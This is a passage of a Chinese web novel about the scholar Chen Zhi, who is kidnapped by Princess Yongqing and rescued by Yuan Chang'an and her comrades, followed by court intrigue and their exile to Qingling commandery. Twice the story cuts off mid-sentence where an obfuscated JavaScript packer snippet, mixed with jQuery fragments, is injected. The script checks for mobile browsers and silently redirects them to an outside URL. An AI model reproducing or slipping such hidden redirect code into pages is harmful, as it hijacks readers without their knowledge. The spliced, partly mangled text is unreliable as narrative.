陈治紧紧握了握拳头,眼中闪过一丝愤怒。 “都是过去的事了,不提也罢,不提也罢。”崔永怀摆了摆手,拿起拐杖站起身来。他拒绝了陈治的想要搀扶的手,缓慢地、一步一个脚印地回了屋。 陈治望着老者佝偻的背影,这九年的时间,不知道他过得是何等艰难。 午后,陈治告辞离开。王耀祖守在鲁峰家附近,见陈治出来,连忙跟了上去。 出了暗巷,陈治和王耀祖并肩走在熙熙攘攘的大街上。阳光透过街边的树荫洒下斑驳的光影,一切都显得那么宁静祥和。突然,一群家丁从四周涌出,迅速将他们包围。 “陈公子小心!”王耀祖大声警告,但为时已晚。那些家丁动作迅速,一拥而上,将陈治牢牢按住。陈治虽然奋力挣扎,但对方人数众多,很快就束手就擒。 “你们是什么人?!为什么要抓我?!”陈治怒喝道,但没有人回答。家丁们手法熟练,迅速用绳索将他捆得严严实实,然后用布条堵住了他的嘴巴。 王耀祖见状,立即拔出佩剑,试图阻止这些人的行动。然而,他毕竟武功不济,几招过后便被对方逼得节节后退。一个家丁趁机一拳击中他的肋部,王耀祖顿时感到一阵剧痛,身体不由自主地向后倒去。 “救……救我!”陈治的声音被布条闷住,只能发出模糊的呼救声。但此时的王耀祖已经无力回天,只能眼睁睁地看着陈治被拖走。 “陈公子!”王耀祖挣扎着站起来,但对方已经带着陈治消失在人群之中。他试图追过去,但身上多处受伤,行动迟缓,最终只能看着对方渐行渐远。 周围的行人被突如其来的变故吓呆了,纷纷四散逃开。王耀祖强忍着疼痛,迅速返回军营,准备通报这一突发事件。 元长安在回军营的路上心神不宁,总感觉有不好的事情发生。一瞬间,她想到了陈治。于是,她对瞿正清说了几句,驾马而去。沈让和崔涯虽不知道发生了什么,但因为不放心,紧跟其后。 ----------------- 与此同时,在京都一处幽静庭院里,永清公主坐在精致的绣榻上,面带微笑地望着面前的陈治。 当陈治被解下蒙眼布时,发现自己置身于一个精致的花园中。四周是雕梁画栋的亭台楼阁,花香袭人,鸟语悠扬,一派宁静祥和的景象。而自己面前,正坐着一位身着华丽的宫装,容颜艳丽,气质高贵的女子。 “如果本宫没认错的话,你就是曾经名动少陵的多智公子陈怀久吧?”美人轻启薄唇,声音清脆。 陈治被绑在椅子上,虽然心中焦急,但仍然保持镇定:“公主殿下谬赞,不过您今日绑在下前来,所为何意?” 永清微微一笑,站起身来,走到陈治面前,继续说道:“你的相貌如此出众,本宫实在不忍心让你继续在外逃窜。不如留在公主府,陪本宫共度光阴,如何?” 陈治心中一凛,但仍然坚定地说道:“在下多谢殿下厚爱。但在下福薄,实在不敢消受。” 永清的眼中闪过一丝失望,但随即恢复了笑容:“既然如此,那就暂时委屈你几天,我会派人好好照顾你,希望你能在这段时间里改变主意。” “殿下,在下心中已有良人。这公主府,在下就不住了。”陈治拒绝的很干脆,神情也很坚定。 永清的眼神立马从温柔似水变成了凶狠毒辣,她威胁道:“你不要敬酒不吃吃罚酒!在京都,没有人可以拒绝本宫,何况你一个逃犯!” 陈治直面永清:“既然如此,殿下何不给在下一个痛苦?” “你!”永清被他气急了,突然她想到了什么,一副原来如此的模样,“你想激怒本宫?陈治啊陈治,本宫对你是越来越喜欢了。把他带下去,好生看管。若是人跑了,你们一个个都没有好下场!” 公主的手段,让下人胆颤:“是!” 陈治没有慌张,反而很镇静自若,因为他相信,元长安会来的。 ----------------- 王耀祖拖着受伤的身体,艰难地回到了府邸。大门外的守卫见到他满身是血,立刻迎了上来。 “王耀祖,你怎么了?发生了什么事?”守卫关切地问道。 “快,快去找小元爷!”王耀祖喘着粗气,声音中带着急切,“陈治被绑走了!” 守卫闻言大吃一惊,连忙扶着他走进府邸,另一个守卫立马命人骑马去找元长安。一路上,王耀祖强忍着疼痛,尽量保持清醒。他们迅速穿过校场,来到军医营帐。 没过一会儿,元长安出现在了营帐里,见到王耀祖的样子,脸色骤变。 “王耀祖,发生了什么事?你怎么会这样?”元长安焦急地问道。 “小元爷,”王耀祖喘了一口气,努力让自己说话清晰,“我和陈治走在大街上,突然被一群家丁袭击。他们行动迅速,将陈治绑走,我武功不济,没能阻止他们,还受了伤。那些家丁都是永清公主府里的人,陈治怕是有危险。” 元长安听完,二话没说,直接跑了出去。刚驾马回营的崔涯和沈让,见元长安骑马飞奔而去,也没有过多停留,直接跟了上去。 阳光透过轻薄的云层洒在公主府上,平添了几分宁静。然而这份宁静很快就被打破。永清公主府的大门突然被一股巨大的力量撞开,守门的侍卫瘫倒一地。 “永清公主,速速交出陈治,否则休怪我们不客气!”沈让的声音响彻整个府邸,震耳欲聋。 元长安手持长生枪,脚下踩着一名侍卫。她环视四周,并没有看到自己要见的人。“陈怀久在哪里?!” 公主府内的侍卫们迅速反应过来,从四面八方涌来,将三人团团围住。永清身着华丽的宫装,站在人群中央,脸上挂着虚伪的笑容:“陈公子在本宫府上,可是享尽荣华富贵,已经不想回去了。本宫心善,今日之事不予你们计较,尽快离开公主府。否则,本宫饶不了你们!” 元长安将脚下的侍卫用力踢到永清的面前,眼中尽是杀意:“那就别怪我们硬闯公主府了!” 永清冷笑一声:“就凭你们这几个,也敢在我的府上撒野?来人,给我拿下!” 随着公主的一声令下,数十名侍卫挥舞着武器,向元长安三人扑来。战斗瞬间爆发,刀光剑影交织在一起,空气中弥漫着紧张的气息。 元长安手中的长枪如同一条灵活的蛟龙,在空中翻飞,枪尖如同闪电一般,快速刺穿一名又一名侍卫的盔甲。她大喝一声,长枪猛然伸长,将几名试图靠近的侍卫挑飞出去。枪身再次缩短,她一个旋身,枪尾扫过地面,将周围的敌人全部扫倒在地。元长安的每一招都力道十足,长生枪所到之处,侍卫们纷纷退避。 沈让是以力破巧,环首刀在他手中犹如猛虎下山,每一次挥砍都带着雷霆万钧之力。他的战斗风格粗犷而直接,只听见他大吼一声,环首刀横扫一片,将几名试图近身的侍卫劈倒在地。 崔涯则是一副轻松自在的模样,他的剑法如同行云流水,每一个动作都流畅自然,毫无滞涩之感。游刃有余之下,是剑剑夺命。 元长安抓住一个侍卫,质问道:“你们绑来的人现在在什么地方?” 那人被吓得不轻,支支吾吾道:“后…后院…厢…厢房。” “去后院!” 崔涯和沈让心领神会,开始朝着公主府后院的方向杀去。周围的侍卫越来越多,但他们三人硬生生地杀出了一条血路。 “长安!”陈治尽管衣衫凌乱,但依旧保持着那份温润如玉的气质。他好不容易摆脱掉看门的侍卫,想要从后门逃出去。没想到,元长安他们是三个人竟然出现在了自己的面前。 而元长安看到陈治的刹那,是开心,是心疼。 永清见陈治逃了出来,恼羞成怒,猛地踹了一脚身边的侍卫头领:“他要是跑了,本宫唯你是问!” 面对再次围上来的侍卫,元长安将陈治护在身后,打算与崔涯、沈让一起冲向府门。 然而,陈治从元长安身后站了出来,举止从容淡定:“公主殿下,可否容在下说几句话?” 永清微抬着下巴,“本宫倒要看看,你能说出什么花儿来!” 陈治清了清嗓子,道:“太后召周城侯进京,就是为了制衡。而我等四人,乃周城侯麾下瞿将军最得力的手下。若我们在公主府遭遇不测,殿下怕也不好向太后和陛下交代。” 永清听完陈治的话,抬手制止了围上前的侍卫。她反问道:“你这是在威胁我?” “不敢,”陈治微微低头,“在下只是实话实说罢了。” 永清冷哼道:“这天下还是我郑家人的,就算你们几个人死在本宫府上,谅许文达也不敢怎么样!” 陈治展颜一笑:“即使侯爷不在意我们几人,但难保不会被有心之人利用。现在吴王毫不夸张地说,已经分得一半京都。而恒王盘踞临安,太后已是不敢随意动用兵力。但是,天下各方势力揭竿而起,就必须有那么一个人,成为太后的一把刀。尤将军必须守住京都,否则天下将会易主。如果周城侯再用不得,太后怕是进退两难。” 永清被说动了,她必须要权衡利弊,面前的这几日,不得不放。但她还是气不过,恶狠狠地说道:“就算今日本宫放了你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14258190|150174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也一定会让你们付出代价!放他们离开!” 元长安等人带着陈治,顺利逃离了公主府,消失在了街道尽头。 “备马,本宫要进宫觐见母后。”永清公主已经气得几乎吐血,压着喉咙里那口气,她一定要让他们付出应有的代价。 ----------------- 回到军营,陈治沐浴一番,换了身衣服。他刚坐下,这边的元长安就已经掀开帐帘进来了。 “皇上赏了我一把扇子,送给你了。”元长安将一把赤与墨相间的漆扇放到了桌子上。 扇骨以精选翠竹为之,轻盈而坚韧,形制雅致。 陈治展开扇面,一面以墨色为底,上绘朱红之图,红黑交映,若夜幕中跃动之火焰,既显深沉内敛,又不乏炽烈激情,恰似其主之心性,静则渊渟岳峙,动则风云变色。 另一面依旧取墨色作基,点缀以碧绿之彩,仿佛幽林深处的一抹清新,予人宁静与希望。 可惜,陈治无法欣赏,但他也知道,皇上赏的东西,再差也比民间流传的古扇要好得多。 不过,扇面上一首字体歪扭的诗,吸引了陈治的眼球。 “墨染朱红艳,绿意映清心。轻摇生雅韵,怀久手中珍。长安什么时候,诗写得这么好?”陈治看破不说破,笑着夸赞道。 元长安长腿一跨,坐在凳子上,“我能写字,写诗这事儿跟我不沾边儿。崔涯他会,我让他给我想了这么一首。怎么样?和这个扇子配不配?” 陈治合上扇子,调侃道:“此扇只应天上有,人间哪得几回见。” 元长安眼神明亮,“我就说你会喜欢,崔涯给我要,我都不给他。” “倒是对不住崔涯了。”陈治突然转了话题,正色道:“今日你们硬闯公主府,已经是得罪了永清公主。她为人狠毒,与太后尤氏的行为手段如出一辙。当年灵帝意外驾崩,实际就是死在她们母女之手。今日之事,恐怕我们几人,已经成了她的眼中钉、肉中刺,欲除之而后快。” 元长安不懂这些势力制衡、官场手段,她只知道用真本事说话:“管她的,大不了我们就离开京都,去别的地方。” 陈治也不想让元长安接触这些见不得人的事情,反正有他在,他会护住元长安。 “长安,这几日是不是都没有吃药?” 陈治说话的语气很轻,但是元长安听到耳朵里面,感觉很严重。 见她不说话,陈治心里已经是八九不离十。他无奈地摇了摇头:“长安,你自己的身体你都不上心,你让我拿你怎么办?” 元长安见他叹气,赔笑道:“我现在就去喝药!”说完,整个人一溜烟儿就跑了,留下陈治把玩着手中的漆扇。 “长安,你要好好的活,我们都要好好的活。” ----------------- 永清公主哭哭啼啼地面见尤太后,哭得那叫一个梨花带雨,伤心欲绝。 “母后,他许文达一个小小的侯爷,手底下的人就这样不将儿臣放在眼里,这成何体统?如若您不严惩,那以后的京都岂不是他许文达一个人说了算?” 尤太后怎么会不明白自己女儿的小心思,“好啦好啦,哀家知道你受不得一点委屈。这件事情,本就是你的不对,与周城侯何干?” 永清可不管这些,依依不饶道:“儿臣也是为了母后着想。您看这许文达才到京都,他手下那帮人就这样不将儿臣放在眼里,可见他许文达也不是个安分的。” “永清!” 尤太后忽然加重了语气,把永清吓了一跳,直接闭嘴不再言语。 “周城侯赤胆忠心,对我大晋忠心耿耿,你怎能这般怀疑大晋忠臣?如果你说的这些话被别人听了去,你让那些大臣怎么想?” 永清被吓得,只能弱弱地说一声:“母后,儿臣知错了。” 对此,尤太后也放柔了声音:“永清,你要知道,现在我们需要许文达这把利刃,为我们冲锋陷阵。一旦许文达明晃晃地站在我们的对立面,那我们的处境,就十分不妙。” “母后,那儿臣岂不是白白受了这等屈辱?”永清还是不甘心地说道。 尤太后拍了拍她的手背,眼眸中的算计一闪而过,朝着永清温柔一笑:“母后怎么可能让你就这样咽下这口气?母后一定会为你,好好出这口恶气。而且,恒吴二王与陈氏一族之间的恩怨,我们也可以稍加利用。” ----------------- 与此同时,陈治与许文达已经面对面,品茗交谈。 “你们的事情,本侯已经有所耳闻。现在我们是在京都,有些事情是身不由己。”许文达的话外之意再明白不过,他不会为了某个人,坏了他的大局。 而陈治却笑道:“在下却觉得,这件事情,对侯爷极其有利。” “但闻其详。” 陈治斟了两杯茶,一杯放在许文达的面前,道:“侯爷被困于京都,虽说利大于弊,但总归是猛虎被束缚了爪牙,无法施展。” 许文达又问道:“你的意思是,利用永清公主之怒,将元长安他们送出京都?” “不仅如此,还要将他们送去侯爷心中的那个地方。” “博陵王在八王之中,最为羸弱,可攻之。而清灵郡鱼龙混杂,各方势力汇聚于此,若能收服,将是一把刀最锋利的刀刃。且又属于博陵王管辖之地,实乃天助我也。”许文达心中早有打算,就差这么一个契机。 陈治知道元长安他们三人是保住了,紧接着道:“不过还有一事,在下有些担心。” “本侯知道你担心什么,”许文达抬手制止道:“放心,你的事情,本侯自会处理。你对本侯来说,是左膀右臂。有本侯在,定会保你无虞。” 今日的谈话,皆在陈治的掌握之中。得到的结果,他也并没有感到很意外。 果不其然,次日许文达从宫里回来,带来了元长安、沈让和崔涯被贬清灵郡的消息。而陈治的事情,却没有一点动静,一切都如陈治所料。 尤太后早已经将八王视为心腹大患,欲除之而后快。既然能将自己的刀伸向博陵王,她怎么可能放过这次机会。陈治不过就是一个手无缚鸡之力,且没有后台的落魄书生,确实不值一提。 ----------------- “长安,此次清灵郡之行,就是在给你提供机会。想必瞿将军已经和你说了不少,我只希望你不要恨我。”陈治为元长安整理了一下衣襟,即使依依不舍,但他也没有表现出来。 元长安从来就不会恨陈治,“瞿将军已经给我说得够清楚了,既然能自己组建军队,我又为什么要恨你?不过,我不在京都,你凡事要多加小心。王耀祖,要不要留下来保护你?” 陈治拒绝道:“清灵郡不太平,你身边多一个人就会多一些安全。放心,我会在京都等你。” “陈怀久,等我。” 26.被赶清灵郡 清灵郡有一黄岗山,山上聚集了京畿九郡、定州五郡和秦州六郡所有的三教九流、外邦异族。 他们的首领是上番人,信奉易水神女。易水是上番人的生命之水。孩子出生时,要饮用易水来祈求一生平安顺遂;族民去世时,要用易水来清洗躯体,洗去生前的罪孽。 而易水神女在上番人心中的地位,远高于他们的大王。所以,他们被称为易水神教。 黄岗山上的这些人,建立易水教,规模庞大,可独占清灵郡。 ----------------- “这些都是什么人?怎么一个个都跟有病似的,一直追着我们不放。”王耀祖骑马紧跟在元长安的身后,不敢有半分停留。 元长安回头看向身后那些紧追不舍的、穿着破旧布衣的人,说道:“这里是黄岗山,除了易水教的人,还能有谁?” 王耀祖同样回头看了一眼身后的追兵,“他娘的,早知道就不走这条道儿了。” 然而,元长安嘴角上扬,“小爷我走的就是这条道!你看他们用的兵器,样式各异,但每一件都足够分量。而且,他们□□都是上番的好马。小爷来清灵郡的时候,瞿将军就允许我给自己扩招一支军队,你看,这军队不就自己送上门了嘛。” 只是,王耀祖没看出来他们是送上门的架势。怎么看怎么都是,要他们的命。 “小元爷,你别说笑了,赶紧想想怎么办吧?”王耀祖急得直冒汗,“崔爷和沈爷这个时候又不在,真是衰到家了。” 然而元长安却道:“要沈让和崔涯干什么?这些人都是小爷我的,谁也别想跟我抢!驾!” 王耀祖虽不解其意,但也紧跟其后。二人行至一个分岔路口,翻身下马,用马将易水教的人引开,他们走向另一条路。只是,好不容易摆脱了那些人的追杀,没想到下一刻就遇到了一伙儿土匪。 只不过那些土匪,大多面黄肌瘦,手中的武器也大多是农具。只有为首的几个人,一人一把不怎么样的环首刀。 “今日出门真是忘了看黄历了,怎么这么衰?”元长安朝地上吐了一口唾沫,“能不能让小爷消停一会儿?” 万少杰看着被他们围着两个人,一个小孩儿一个瘦猴,上去就给了旁边人的后脑勺一巴掌。 “你小子不是说看到邪教的那伙人吗?人呢?怎么是他们两个?” 被挨打的人也着实没有想到,怎么就突然变成这样。他用手中的,刀刃不少豁口的环首刀,指着元长安和王耀祖:“喂,你们两个是什么人?来我们地盘干什么?” 元长安的手已经放在了腰后的长生枪上,“我们只是过路人。” “出门在外,要学会收敛。”这是陈治对元长安的千叮咛万嘱咐,他不怕元长安惹事,他只怕元长安惹事后身边没有自己。 万少杰越看他们两人越觉得可怜,于是心生不忍,从怀里拿出来一个布袋子,里面是两块糙面馒头。然后又对身边的人说了几句,只见那人磨磨唧唧地从自己身上拿出来一个一样的布袋子,又抠抠搜搜地掰了一半给万少杰。万少杰看不下去,直接抢过他的布袋子,一起扔到元长安的怀里。 “黄岗山,你们两个趁天还早,赶紧下山去吧。这几个馒头,也够你们吃上几天的了。” 元长安拿着两个布袋子,看着一脸正气的万少杰,还有他旁边一脸肉疼的同伴。而王耀祖兴致冲冲地凑近,都能听到他咽口水的声音:“有了这几个馒头,晚上就不用饿肚子了。” “多谢了。”元长安收下那两个布袋子,又将自己腰间的木牌丢给他,“但是我这个人从来就不喜欢欠人情。我叫元长安,以后有什么事情,就去潭头找我。” 潭头,元长安等人暂时居住的地方。 万少杰接住木牌,并没有放在心上,双手抱拳道:“老子万少杰,黄岗山最有种的男人。这个牌子,我就当交朋友了。就算遇到什么问题,老子一个人就能解决。” 元长安对于他的话,一笑而过。“走了!”她背对着万少杰,摆了摆手。 这是他们的第一次见面,一场对于他们两个人都很印象深刻的初见。 ----------------- 潭头位于东西向和南北向两条主要商道的交汇点,这使得它成为了商旅往来的必经之地,也为当地带来了繁荣。潭头之北,就是易水教所在之地,黄岗山。而潭头之南,有一座神火山,神火山富含硫磺和硝石,是生产火药的重要原料来源。所以,潭头有很多火药作坊。 许正豪就是靠着那座神火山,在黄岗山和其他势力之间,来回周旋。 而潭头也是许文达祖籍之地,许正豪是潭头的一把手,也是许文达的族叔。只不过,他因一些事情,与许家断绝了关系。 “长安,许家那个小姑娘又来找你了。还有,下次别老是让我做你的挡箭牌。”元长安和王耀祖刚一进小院,就听见正在扫地的崔涯说道。 元长安将布袋子交给王耀祖,让他放到厨房,其实就是为了支开他。 王耀祖会意,拿着那两个装着糙面馒头的布袋子就走了。元长安长腿一跨,坐在一块木桩子上,双手撑在双腿上,“她怎么又来了?我不是让你给她说,我不在这里吗?” 话音刚落,就听见一声女子的呐喊:“长安!” 崔涯收起笤帚,就要离开。元长安见状,直接起身挡在他的身前,“崔涯,再帮我一次,行不行?” “可别,那大小姐的嘴皮子可不好惹。上次沈让被她说的,好几天没缓过来神,我可不想步他后尘。”崔涯的头,摇得好像拨浪鼓。 许穗蹦蹦跳跳地,来到元长安和崔涯的面前。她直接无视崔涯,看向元长安的眼睛,充满了崇拜和其它的情愫。 元长安上看下看,左看右看,还装作不经意地用眼神寻求崔涯的帮助。崔涯接收到她的求救,但也只是回了一个无能为力的表情。 “长安,听说你去黄岗山了?那里那么危险,你有没有受伤?”许穗看起来很着急,在元长安身上打量着。 而元长安却看向一旁的崔涯,眼睛冒火,用口型道:“你怎么什么都往外说?” 崔涯扛起笤帚,拔腿就跑,元长安在后面怎么喊都不停。 “长安,我给你说话呢。”许穗从出生就是众星捧月,许正豪虽然妻妾成群,但膝下就只有许穗一个女儿。所以在潭头,只有许穗瞧不起别人,没有人敢瞧不起她。 半个月前,元长安和王耀祖救下了被易水教抓走的许穗。也就是从这一天开始,许穗就缠上了元长安。 “许大小姐来了。”一听到许穗过来了,王耀祖也顾不得那么多,直接奔到小院里,手足无措地站着。 许穗看都没看王耀祖,只盯着元长安一个人,“我爹一直想感谢你救了我,可你一直推脱。今天是我生辰,你必须跟我走。” 说着,她就拉着元长安的手腕往外走。而尴尬站在一处的王耀祖,看到这个场面,更尴尬了。 “小元爷,你要不就跟许大小姐一起去吧。” “你闭嘴!”元长安挣脱开许穗的拉扯,干笑道:“我最近挺忙的,就不去了。但是,我还是祝大小姐,岁岁今朝,如意吉祥。” 许穗不依不饶,抓着元长安不松手,“不行!你今天说什么都得跟我走,我的生辰日,我就是老大,你必须听我的!” 元长安对这种蛮横无理最是不耐烦,但是人在潭头,不得不低头。 “行行行,等我换身衣服,就跟你去。”元长安最终是拗不过她,但她还是拉上了她患难与共的朋友,“王耀祖,你喊上沈让和崔涯,我们一起去。” 许穗才不在意其他人去不去,只要元长安答应了就行。 而王耀祖听到自己也要跟着一起去,别提心里多高兴,“得嘞,我这就去找他们。” 元长安看着背影都透着高兴的王耀祖,也不知道该说些什么。 许穗揽着元长安的胳膊,“走吧,我陪你换衣服去。” “不行,”元长安立马拒绝道:“要么你先回去,要么就在这里等我。” 许穗不理解,“我是女儿身,你也是女儿身,怎么就不能陪你了?” 元长安毫不留情地挣脱开,然后离她远点,“我不习惯,也不喜欢。” 许穗只好妥协道:“行吧,你快点哦,我就在这里等你。” 这边元长安回屋里换衣服,那边沈让说什么都不愿意跟他们一起去许穗家中,为她庆生辰。 “我也不想去,但要是我们都不去的话,照长安的性子,万一出了什么事儿,她还不得把许家给闹翻天了?”崔涯 沈让稳稳地坐着,用布擦拭着手中的钢刀,“我才不去!许家那个大小姐,我可不敢惹。她的生辰宴,谁爱去谁去,反正我不去。” 王耀祖生怕他们不去,到时候元长安也选择不去。为了能再一次见到许穗,他开口劝道:“咱们来潭头时日不短,也是多亏了许大人和许大小姐的帮助。这次许大小姐喊我们一起去,沈爷你这多少给点面子。” 崔涯听得都想笑,沈让更是直接戳破道:“喊我们一起去?我看是喊长安去吧?我说王耀祖,你的心思啥时候怎么活络了?知道你对那许大小姐有心,但人家心里根本就没你,你还热心个什么劲儿?” “沈让,”崔涯觉得沈让说的确实过分了,“人家王耀祖跟着我们从京都来潭头,已经是义气之心,你说话注意点。” 王耀祖的心思被戳破,脸色和唇色都很白,“我…我…我…”支支吾吾半天,也说不明白。 沈让一向快人快语,再加上他都很久没见过沈清棠,实在是想得难受。而许穗又曾得罪过他,现在他只要一听到许穗的名字,整个人的怒气就非常非常大。 那一日,他在路上捡了许穗的荷包,好心物归原主,却被许穗数落成一个小偷。她的嘴就像淬了毒一样,话越说越难听。最后要不是一个好心的大婶儿做了见证,他可就真是跳进黄河也洗不清。 后来再次见面,许穗早就把自己冤枉他,害他被百姓指指点点的事情忘得一干二净。 崔涯见他是铁了心不愿意去,眼珠子一转,抑制住想要上扬的嘴角:“王耀祖,我听说许家有一兵器,叫什么来着?方…方什么来着?” 王耀祖立马接话道:“方刃锤,那可是前齐战将宿勇的兵器。想当年,那可是一双铁锤,征战四方!这许大人花重金买下,平时稀罕的不得了。我听说,今日许大人要拿他镇场子。” 沈让越听越心动,可他一想到许穗那张无遮拦的嘴,他就开始犹豫。 崔涯见他微动的嘴唇,心里已经有数:“既然他不去,我们就跟着长安去开开眼。” “等一下!”沈让还是败给了对方刃锤的兴致,“我跟你们一起去。” ----------------- “陈小子,你这几天心神不宁,那个小丫头也好久没见了,你们是不是吵架了?”鲁峰手里的活儿没停,但是话是对着陈治说的。 陈治回神,摇摇头道:“没有,她有别的事情在身。” 鲁峰听也听出来他低落的情绪,“我瞧着你们也般配,能在一块,也算是天造地设的一对儿。何况我看那丫头的模样,绝对不是个好惹的。你这文文弱弱的,配上她凶神恶煞,刚刚好。” “长安不是凶神恶煞,她人很好。”陈治想都没想,直接反驳道。 鲁峰双手一丢,手里的东西都丢在了地上,哈哈一笑:“我没读过什么书,说的不中听的地方,你也别往心里去。” 陈治雕刻的小人终于成形,虽然手艺不精,但还是能隐隐约约看出元长安的轮廓。 许文达出任护军一职,选拔武官,他若要藏起一支军队,民间暗巷就是最好的选择。所以,陈治出入暗巷,不仅仅是为了跟鲁峰学习手艺,而是为了藏。 “师父,我还有些事情忘了做了,先回家了。” 鲁峰只是摆摆手,表示知道了,并没有多问。陈治朝着鲁峰微微鞠躬,然后出了家门,直奔暗巷深处的一个小破胡同。 小破胡同两旁的房屋多已斑驳陆离,青石板铺就的道路被岁月磨砺得光滑如镜,偶尔几株顽强生长的野草从缝隙中探出头来,给这沉寂的空间增添了几分生机。 一位年轻男子正熟练地摆弄着他的铁匠工具,锤击声清脆有力,火花四溅;旁边的小摊上,一个看似普通的商贩正整理着他的货物,动作敏捷而有节奏;不远处,几位大胡子中年男人围坐在一张小木桌旁,手中各自握着一杆长烟斗,神情悠闲自在。 一切都是那么平常且和谐。 打铁的年轻男子看到陈治的瞬间,放下手中的打铁工具,恭恭敬敬地叫了一声:“陈先生。”周围其他人也站起身,动作整齐,声音恭敬。 陈治点了点头,面容严肃:“余耀呢?” 那年轻男子回道:“在破屋里,我带您过去。” “嗯。” 说是破屋,还真的很破。 屋顶上的瓦片零落不全,许多地方已经裸露出了木头,上面覆盖着一层厚厚的灰尘和青苔。墙壁上,石灰剥落的地方显露出砖块的颜色,裂缝如同岁月的痕迹,纵横交错。窗框早已歪斜,糊纸的地方也破损了几个大洞,透过这些破洞可以窥见屋内简陋的陈设。一张老式的木床靠墙而立,床单泛黄,边缘处还有些磨损;旁边摆放着一个破旧的木柜,上面摆满了各种杂物,有的已经看不出原本的模样。 屋中央放着一个用几块石头垒起的简易炉灶,上面架着一口黑漆漆的大锅,旁边堆放着未烧尽的柴火。炉灶旁的地面上散落着一些草灰,防止虫蚁的侵扰。 “怀久,侯爷有什么吩咐?”余耀一看到陈治,直接开口问道。 陈治道:“侯爷没什么安排,只是让我过来看看你们怎么样了。” 余耀坐在屋里一块大木桩子上,面前的破旧木桌上摆着几个带有豁口的酒碗,还有一把刀。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14278081|150174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你让侯爷放心,宫里绝对不会发现我们这些人的。”余耀端起桌面上盛着酒水的酒碗,仰头一饮而尽。 陈治虽嫌弃,但也没有表现出来,“喝酒误事,你最好小心为上,毕竟现在马虎不得。” 余耀拍了拍自己的胸口,胸有成竹道:“你放心,我余耀不是那种粗大条的人。底下早就安排好了,我知道现在不能掉以轻心。” 陈治抿了抿嘴唇,顺手拿过一个酒碗,学着余耀的样子。酒刚一进喉咙,就灼烧着他的咽喉。 “咳咳咳,你这酒,怎么那么辣?” 余耀哈哈大笑:“我觉得挺好喝。”说着又拿起酒坛给自己倒了一碗,大口喝下,然后一抹嘴巴:“刚开始的时候,我也不适应,但是喝的多了,就没那么难喝了。” 陈治发现,余耀变了很多。曾经的他,轻狂不羁,纵马豪饮,与一群所谓的好兄弟称霸厉阳郡。 “你什么眼神?”余耀察觉到陈治看向自己的眼神,带着悲痛与惋惜,“你可别用这种眼神看我,我现在好的很。” “行了,我该回去了,你自己多注意点。”陈治收回自己的可怜,转身就走。 “等一下,”余耀突然喊住了陈治,然后不知道从哪里拿出来一个荷包:“这是当年我从你那里抢来的,现在还给你。” 陈治没有回头,背对着他,看不到神情:“既然到了你的手里,那就是你的了。走了。” 直到陈治离去,余耀还是久久不能回神。 陈治走在路上,走在曾经和元长安同行的那条路上。他缓慢地行走,似在回忆当时的场景。 他不知道将元长安推到清灵郡是不是最好的选择,可是只有这样,她才能一步步完成曾在清风寨废墟前,许下的誓言。 “长安,我开始怀疑自己所做的这个决定。” 但是他知道,长安不会记恨他。正是因为这样,他才会一遍又一遍的,怀疑自己。 ----------------- 元长安等人跟着许穗来到了许宅,却见宅子外并没有任何因千金小姐过生辰而喜庆的样子,而是和往常一样平淡。 “许大小姐,你不是说今天是你的生辰吗?怎么贵宅没有准备吗?”崔涯不解道。 一旁的沈让添油加醋道:“我就知道她没那么好心,肯定就是在耍我们。” 这是许穗小嘴一撇,解释道:“我确实是骗你们的,今天不是我生辰,我只是想让长安跟我出来。”话锋一转,“不过,谁让你们自己跟着出来的,我又没喊你们。” 然后她看到元长安的脸色有些难看,立刻低下头,小声嘀咕道:“但是,再过三个月,就是我的生辰了……” “那就等三个月后你再找长安吧。”沈让毫不留情道,然后转身就走,崔涯紧跟其后。 王耀祖站在原地,先是看了看离去的沈让和崔涯,又看了看一言不发的元长安和一脸委屈的许穗,顿时没了主意。 气氛一阵安静,元长安开口道:“这样,你带我在潭头附近转一转吧。我们来潭头半个多月了,我还没转过呢。好不容易有了时间转一转,但是转到了黄岗山。今天许大小姐要是有时间,不妨带我和王耀祖一起,在潭头附近转上一转?” “行啊,你找我可是找对人了。我先去牵几匹马,带你们在这附近转一转。” “好。” 半个月前,易水教为了报复许正豪对他们的压制,所以抓走了许穗,想给许正豪一个教训。 却不料遇到了刚到潭头的元长安和王耀祖。 元长安本来想多管闲事,但是一想到陈治对自己的叮嘱,就打算绕道而行。 只是没想到,那几个人竟然对着元长安和王耀祖出言不逊,还打起了元长安的主意。 那一天是王耀祖记忆最深刻的一天,因为他从来没有见过人原来还可以这样痛苦——活生生被挑断了筋骨,血尽而亡。 也是那一天,许穗对手持长生枪,身姿矫健,武艺高强的元长安心生敬佩,完全忽略了她刚刚残忍的手段。 “这里就是潭水湖,也是那些易水教信徒口中的小易水。顺着潭水湖往南走,就是黄岗山,易水教的地盘。你们今天能逃回来,也算是命大,他们都是一些亡命之徒,被逼无奈入了教。”许穗为元长安细细解说着。 “过了潭水湖一直往东,就是潭头禁地,神火山。除了我爹,任何人都不能靠近。就算是我,也不能随意靠近。而且,那边把守的侍卫,都是我爹的亲兵。他们只认我爹,其他的谁也不认。”许穗吐槽道,她真的不理解为什么自己的爹还要防着自己?她越想越气,越想越气。 